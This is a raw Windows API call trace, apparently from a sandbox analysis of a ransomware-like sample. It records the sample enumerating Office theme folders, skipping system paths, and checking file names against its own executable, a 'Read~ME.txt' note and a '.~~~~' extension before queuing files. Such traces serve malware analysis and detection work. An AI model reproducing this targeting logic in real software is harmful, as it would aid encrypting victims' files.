	[0077.633] lstrcmpW (lpString1="CASCADE", lpString2=".") returned 1
	[0077.633] lstrcmpW (lpString1="CASCADE", lpString2="..") returned 1
	[0077.633] lstrcmpW (lpString1="CASCADE", lpString2="AppData") returned 1
	[0077.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE", lpSrch="AppData") returned 0x0
	[0077.633] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.633] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE", lpString2="C:\\Windows") returned -1
	[0077.633] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.633] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE", lpString2="C:\\System Volume Information") returned -1
	[0077.633] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0077.634] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0077.648] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.648] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.648] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.648] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.648] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.648] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.648] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.649] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.649] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.649] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.649] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.649] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.649] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1
	[0077.649] lstrcmpiW (lpString1="CASCADE.ELM", lpString2="Windows") returned -1
	[0077.649] lstrcmpW (lpString1="CASCADE.ELM", lpString2="oiikyy.exe") returned -1
	[0077.649] StrStrW (lpFirst="CASCADE.ELM", lpSrch=".~~~~") returned 0x0
	[0077.649] lstrcmpW (lpString1="CASCADE.ELM", lpString2="Read~ME.txt") returned -1
	[0077.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab6c0
	[0077.649] GetCurrentThreadId () returned 0x618
	[0077.649] RtlWakeConditionVariable () returned 0x365f48
	[0077.649] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1
	[0077.649] lstrcmpiW (lpString1="CASCADE.INF", lpString2="Windows") returned -1
	[0077.649] lstrcmpW (lpString1="CASCADE.INF", lpString2="oiikyy.exe") returned -1
	[0077.649] StrStrW (lpFirst="CASCADE.INF", lpSrch=".~~~~") returned 0x0
	[0077.649] lstrcmpW (lpString1="CASCADE.INF", lpString2="Read~ME.txt") returned -1
	[0077.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab6c0
	[0077.649] GetCurrentThreadId () returned 0x618
	[0077.649] RtlWakeConditionVariable () returned 0x365f48
	[0077.650] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0077.650] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0077.650] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0077.650] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0077.650] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0077.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab6c0
	[0077.650] GetCurrentThreadId () returned 0x618
	[0077.650] RtlWakeConditionVariable () returned 0x365f48
	[0077.650] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0077.650] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0077.650] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0077.650] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0077.650] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0077.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5240
	[0077.650] GetCurrentThreadId () returned 0x618
	[0077.651] RtlWakeConditionVariable () returned 0x365f48
	[0077.651] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0077.651] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0077.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab6c0
	[0077.651] GetCurrentThreadId () returned 0x618
	[0077.651] RtlWakeConditionVariable () returned 0x365f48
	[0077.651] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1
	[0077.651] lstrcmpiW (lpString1="COMPASS", lpString2="Windows") returned -1
	[0077.651] lstrcmpW (lpString1="COMPASS", lpString2=".") returned 1
	[0077.651] lstrcmpW (lpString1="COMPASS", lpString2="..") returned 1
	[0077.651] lstrcmpW (lpString1="COMPASS", lpString2="AppData") returned 1
	[0077.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS", lpSrch="AppData") returned 0x0
	[0077.651] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.651] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS", lpString2="C:\\Windows") returned -1
	[0077.651] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.651] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS", lpString2="C:\\System Volume Information") returned -1
	[0077.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0077.651] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0077.747] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.747] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.747] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.747] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.747] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.747] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.747] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.747] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.747] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.747] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.747] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.747] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.747] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1
	[0077.747] lstrcmpiW (lpString1="COMPASS.ELM", lpString2="Windows") returned -1
	[0077.747] lstrcmpW (lpString1="COMPASS.ELM", lpString2="oiikyy.exe") returned -1
	[0077.747] StrStrW (lpFirst="COMPASS.ELM", lpSrch=".~~~~") returned 0x0
	[0077.748] lstrcmpW (lpString1="COMPASS.ELM", lpString2="Read~ME.txt") returned -1
	[0077.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0077.748] GetCurrentThreadId () returned 0x618
	[0077.748] RtlWakeConditionVariable () returned 0x365f48
	[0077.748] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1
	[0077.748] lstrcmpiW (lpString1="COMPASS.INF", lpString2="Windows") returned -1
	[0077.748] lstrcmpW (lpString1="COMPASS.INF", lpString2="oiikyy.exe") returned -1
	[0077.748] StrStrW (lpFirst="COMPASS.INF", lpSrch=".~~~~") returned 0x0
	[0077.748] lstrcmpW (lpString1="COMPASS.INF", lpString2="Read~ME.txt") returned -1
	[0077.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0077.748] GetCurrentThreadId () returned 0x618
	[0077.748] RtlWakeConditionVariable () returned 0x365f48
	[0077.748] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0077.748] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0077.748] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0077.748] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0077.748] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0077.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0077.748] GetCurrentThreadId () returned 0x618
	[0077.748] RtlWakeConditionVariable () returned 0x365f48
	[0077.748] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0077.749] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0077.749] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0077.749] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0077.749] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0077.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.749] GetCurrentThreadId () returned 0x618
	[0077.749] RtlWakeConditionVariable () returned 0x365f48
	[0077.749] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0077.749] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0077.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0077.749] GetCurrentThreadId () returned 0x618
	[0077.749] RtlWakeConditionVariable () returned 0x365f48
	[0077.751] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1
	[0077.751] lstrcmpiW (lpString1="CONCRETE", lpString2="Windows") returned -1
	[0077.751] lstrcmpW (lpString1="CONCRETE", lpString2=".") returned 1
	[0077.751] lstrcmpW (lpString1="CONCRETE", lpString2="..") returned 1
	[0077.751] lstrcmpW (lpString1="CONCRETE", lpString2="AppData") returned 1
	[0077.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE", lpSrch="AppData") returned 0x0
	[0077.751] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.751] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE", lpString2="C:\\Windows") returned -1
	[0077.751] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.751] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE", lpString2="C:\\System Volume Information") returned -1
	[0077.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0077.752] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0077.752] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.752] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.752] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.752] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.752] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.752] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.753] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.753] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.753] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.753] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.753] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.753] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.753] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1
	[0077.753] lstrcmpiW (lpString1="CONCRETE.ELM", lpString2="Windows") returned -1
	[0077.753] lstrcmpW (lpString1="CONCRETE.ELM", lpString2="oiikyy.exe") returned -1
	[0077.753] StrStrW (lpFirst="CONCRETE.ELM", lpSrch=".~~~~") returned 0x0
	[0077.753] lstrcmpW (lpString1="CONCRETE.ELM", lpString2="Read~ME.txt") returned -1
	[0077.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.753] GetCurrentThreadId () returned 0x618
	[0077.754] RtlWakeConditionVariable () returned 0x365f48
	[0077.754] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1
	[0077.754] lstrcmpiW (lpString1="CONCRETE.INF", lpString2="Windows") returned -1
	[0077.754] lstrcmpW (lpString1="CONCRETE.INF", lpString2="oiikyy.exe") returned -1
	[0077.754] StrStrW (lpFirst="CONCRETE.INF", lpSrch=".~~~~") returned 0x0
	[0077.754] lstrcmpW (lpString1="CONCRETE.INF", lpString2="Read~ME.txt") returned -1
	[0077.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.754] GetCurrentThreadId () returned 0x618
	[0077.754] RtlWakeConditionVariable () returned 0x365f48
	[0077.754] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0077.754] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0077.754] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0077.754] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0077.754] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0077.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.755] GetCurrentThreadId () returned 0x618
	[0077.755] RtlWakeConditionVariable () returned 0x365f48
	[0077.755] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0077.755] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0077.755] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0077.755] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0077.755] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0077.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.755] GetCurrentThreadId () returned 0x618
	[0077.755] RtlWakeConditionVariable () returned 0x365f48
	[0077.755] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0077.755] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0077.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.756] GetCurrentThreadId () returned 0x618
	[0077.756] RtlWakeConditionVariable () returned 0x365f48
	[0077.756] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1
	[0077.756] lstrcmpiW (lpString1="DEEPBLUE", lpString2="Windows") returned -1
	[0077.756] lstrcmpW (lpString1="DEEPBLUE", lpString2=".") returned 1
	[0077.756] lstrcmpW (lpString1="DEEPBLUE", lpString2="..") returned 1
	[0077.756] lstrcmpW (lpString1="DEEPBLUE", lpString2="AppData") returned 1
	[0077.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE", lpSrch="AppData") returned 0x0
	[0077.756] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.756] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE", lpString2="C:\\Windows") returned -1
